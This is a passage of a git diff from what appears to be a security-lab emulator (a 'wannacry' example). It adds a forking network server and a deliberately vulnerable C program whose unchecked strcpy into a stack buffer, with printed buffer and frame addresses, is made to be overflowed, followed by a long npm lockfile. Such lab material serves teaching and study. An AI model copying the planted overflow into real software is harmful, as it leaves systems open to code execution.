listen_fd, struct sockaddr_in *client); +char **generate_random_env(); + +void main() +{ + int listen_fd; + struct sockaddr_in client; + + // Generate a random number + // srand (time(NULL)); + // int random_n = rand()%2000; + int random_n = 500; // remove the randomness + + // handle signal from child processes + signal(SIGCHLD, SIG_IGN); + + listen_fd = socket_bind(PORT); + while (1){ + int socket_fd = server_accept(listen_fd, &client); + + if (socket_fd < 0) { + perror("Accept failed"); + exit(EXIT_FAILURE); + } + + int pid = fork(); + if (pid == 0) { + // Redirect STDIN to this connection, so it can take input from user + dup2(socket_fd, STDIN_FILENO); + + /* Uncomment the following if we want to send the output back to user. + * This is useful for remote attacks. + int output_fd = socket(AF_INET, SOCK_STREAM, 0); + client.sin_port = htons(9091); + if (!connect(output_fd, (struct sockaddr *)&client, sizeof(struct sockaddr_in))){ + // If the connection is made, redirect the STDOUT to this connection + dup2(output_fd, STDOUT_FILENO); + } + */ + + // Invoke the program + fprintf(stderr, "Starting %s\n", PROGRAM); + //execl(PROGRAM, PROGRAM, (char *)NULL); + // Using the following to pass an empty environment variable array + //execle(PROGRAM, PROGRAM, (char *)NULL, NULL); + + // Using the following to pass a randomly generated environment variable array. + // This is useful to slight randomize the stack's starting point. + execle(PROGRAM, PROGRAM, (char *)NULL, generate_random_env(random_n)); + } + else { + close(socket_fd); + } + } + + close(listen_fd); +} + + +int socket_bind(int port) +{ + int listen_fd; + int opt = 1; + struct sockaddr_in server; + + if ((listen_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) + { + perror("socket failed"); + exit(EXIT_FAILURE); + } + + if (setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))) + { + perror("setsockopt failed"); + exit(EXIT_FAILURE); + } + + memset((char *) &server, 0, sizeof(server)); + server.sin_family = AF_INET; + server.sin_addr.s_addr = htonl(INADDR_ANY); + server.sin_port = htons(port); + + if (bind(listen_fd, (struct sockaddr *) &server, sizeof(server)) < 0) + { + perror("bind failed"); + exit(EXIT_FAILURE); + } + + if (listen(listen_fd, 3) < 0) + { + perror("listen failed"); + exit(EXIT_FAILURE); + } + + return listen_fd; +} + +int server_accept(int listen_fd, struct sockaddr_in *client) +{ + int c = sizeof(struct sockaddr_in); + + int socket_fd = accept(listen_fd, (struct sockaddr *)client, (socklen_t *)&c); + char *ipAddr = inet_ntoa(client->sin_addr); + printf("Got a connection from %s\n", ipAddr); + return socket_fd; +} + +// Generate environment variables. The length of the environment affects +// the stack location. This is used to add some randomness to the lab. +char **generate_random_env(int length) +{ + const char *name = "randomstring="; + char **env; + + env = malloc(2*sizeof(char *)); + + env[0] = (char *) malloc((length + strlen(name))*sizeof(char)); + strcpy(env[0], name); + memset(env[0] + strlen(name), 'A', length -1); + env[0][length + strlen(name) - 1] = 0; + env[1] = 0; + return env; +} + diff --git a/examples/not-ready-examples/25-wannacry/container_files/server/stack.c b/examples/not-ready-examples/25-wannacry/container_files/server/stack.c new file mode 100644 index 000000000..590f51b4c --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/container_files/server/stack.c @@ -0,0 +1,76 @@ +/* Vunlerable program: stack.c */ +/* You can get this program from the lab's website */ + +#include +#include +#include + +/* Changing this size will change the layout of the stack. + * Instructors can change this value each year, so students + * won't be able to use the solutions from the past. + * Suggested value: between 100 and 400 */ +#ifndef BUF_SIZE +#define BUF_SIZE 200 +#endif + +void printBuffer(char * buffer, int size); +void dummy_function(char *str); + +int bof(char *str) +{ + char buffer[BUF_SIZE]; + +#if __x86_64__ + unsigned long int *framep; + // Copy the rbp value into framep, and print it out + asm("movq %%rbp, %0" : "=r" (framep)); +#if SHOW_FP + printf("Frame Pointer (rbp) inside bof(): 0x%.16lx\n", (unsigned long) framep); +#endif + printf("Buffer's address inside bof(): 0x%.16lx\n", (unsigned long) &buffer); +#else + unsigned int *framep; + // Copy the ebp value into framep, and print it out + asm("mov %%ebp, %0" : "=r" (framep)); +#if SHOW_FP + printf("Frame Pointer (ebp) inside bof(): 0x%.8x\n", (unsigned) framep); +#endif + printf("Buffer's address inside bof(): 0x%.8x\n", (unsigned) &buffer); +#endif + + // The following statement has a buffer overflow problem + strcpy(buffer, str); + + return 1; +} + +int main(int argc, char **argv) +{ + char str[517]; + + int length = fread(str, sizeof(char), 517, stdin); + printf("Input size: %d\n", length); + dummy_function(str); + fprintf(stdout, "==== Returned Properly ====\n"); + return 1; +} + +// This function is used to insert a stack frame of size +// 1000 (approximately) between main's and bof's stack frames. +// The function itself does not do anything. +void dummy_function(char *str) +{ + char dummy_buffer[1000]; + memset(dummy_buffer, 0, 1000); + bof(str); +} + +void printBuffer(char * buffer, int size) +{ + int i; + for (i=0; i= 0.6" + } + }, + "node_modules/array-flatten": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha1-ml9pkFGx5wczKPKgCJaLZOopVdI=" + }, + "node_modules/asn1": { + "version": "0.2.4", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", + "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/async-limiter": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz", + "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/bl": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/bl/-/bl-4.0.3.tgz", + "integrity": "sha512-fs4G6/Hu4/EE+F75J8DuN/0IpQqNjAdC7aEQv7Qt8MHGUH7Ckv2MwTEEeN9QehD0pfIDkMI1bkHYkKy7xHyKIg==", + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "dependencies": { + "bytes": "3.1.0", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "on-finished": "~2.3.0", + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" + }, + "node_modules/bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==" + }, + "node_modules/content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "dependencies": { + "safe-buffer": "5.1.2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-disposition/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, + "node_modules/debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, + "node_modules/docker-modem": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/docker-modem/-/docker-modem-2.1.4.tgz", + "integrity": "sha512-vDTzZjjO1sXMY7m0xKjGdFMMZL7vIUerkC3G4l6rnrpOET2M6AOufM8ajmQoOB+6RfSn6I/dlikCUq/Y91Q1sQ==", + "dependencies": { + "debug": "^4.1.1", + "readable-stream": "^3.5.0", + "split-ca": "^1.0.1", + "ssh2": "^0.8.7" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/dockerode": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/dockerode/-/dockerode-3.2.1.tgz", + "integrity": "sha512-XsSVB5Wu5HWMg1aelV5hFSqFJaKS5x1aiV/+sT7YOzOq1IRl49I/UwV8Pe4x6t0iF9kiGkWu5jwfvbkcFVupBw==", + "dependencies": { + "docker-modem": "^2.1.0", + "tar-fs": "~2.0.1" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=" + }, + "node_modules/encodeurl": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz", + "integrity": "sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=" + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/express": { + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", + "integrity": "sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==", + "dependencies": { + "accepts": "~1.3.7", + "array-flatten": "1.1.1", + "body-parser": "1.19.0", + "content-disposition": "0.5.3", + "content-type": "~1.0.4", + "cookie": "0.4.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "~1.1.2", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "~1.1.2", + "fresh": "0.5.2", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.5", + "qs": "6.7.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.1.2", + "send": "0.17.1", + "serve-static": "1.14.1", + "setprototypeof": "1.1.1", + "statuses": "~1.5.0", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express-ws": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/express-ws/-/express-ws-4.0.0.tgz", + "integrity": "sha512-KEyUw8AwRET2iFjFsI1EJQrJ/fHeGiJtgpYgEWG3yDv4l/To/m3a2GaYfeGyB3lsWdvbesjF5XCMx+SVBgAAYw==", + "dependencies": { + "ws": "^5.2.0" + }, + "engines": { + "node": ">=4.5.0" + } + }, + "node_modules/express-ws/node_modules/ws": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/ws/-/ws-5.2.2.tgz", + "integrity": "sha512-jaHFD6PFv6UgoIVda6qZllptQsMlDEJkTQcybzzXDYM1XO9Y8em691FGMPmM46WGyLU4z9KMgQN+qrux/nhlHA==", + "dependencies": { + "async-limiter": "~1.0.0" + } + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/express/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/finalhandler": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.1.2.tgz", + "integrity": "sha512-aAWcW57uxVNrQZqFXjITpW3sIUQmHGG3qSb9mUah9MgMC4NeWhNOlNjXEYq3HjRAvL6arUviZGGJsBg6z0zsWA==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "~2.3.0", + "parseurl": "~1.3.3", + "statuses": "~1.5.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "node_modules/forwarded": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", + "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==" + }, + "node_modules/http-errors": { + "version": "1.7.2", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.7.2.tgz", + "integrity": "sha512-uUQBt3H/cSIVfch6i1EuPNy/YsRSOUBXTVfZ+yR7Zjez3qjBz6i9+i4zjNaoqcoFVI4lQJ5plg63TvGfRSDCRg==", + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.1", + "statuses": ">= 1.5.0 < 2", + "toidentifier": "1.0.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/http-errors/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, + "node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.45.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.45.0.tgz", + "integrity": "sha512-CkqLUxUk15hofLoLyljJSrukZi8mAtgd+yE5uO4tqRZsdsAJKv0O+rFMhVDRJgozy+yG6md5KwuXhD4ocIoP+w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.28", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.28.tgz", + "integrity": "sha512-0TO2yJ5YHYr7M2zzT7gDU1tbwHxEUWBCLt0lscSNpcdAfFyJOVEpRYNS7EXVcTLNj/25QO8gulHC5JtTzSE2UQ==", + "dependencies": { + "mime-db": "1.45.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==" + }, + "node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/negotiator": { + "version": "0.6.2", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz", + "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/on-finished": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", + "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" + }, + "node_modules/proxy-addr": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.6.tgz", + "integrity": "sha512-dh/frvCBVmSsDYzw6n926jv974gddhkFPfiN8hPOi30Wax25QZyZEGveluCgliBnqmuM+UJmBErbAUFIoDbjOw==", + "dependencies": { + "forwarded": "~0.1.2", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/qs": { + "version": "6.7.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", + "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", + "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "dependencies": { + "bytes": "3.1.0", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/readable-stream": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" + }, + "node_modules/send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", + "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", + "dependencies": { + "debug": "2.6.9", + "depd": "~1.1.2", + "destroy": "~1.0.4", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "~1.7.2", + "mime": "1.6.0", + "ms": "2.1.1", + "on-finished": "~2.3.0", + "range-parser": "~1.2.1", + "statuses": "~1.5.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + 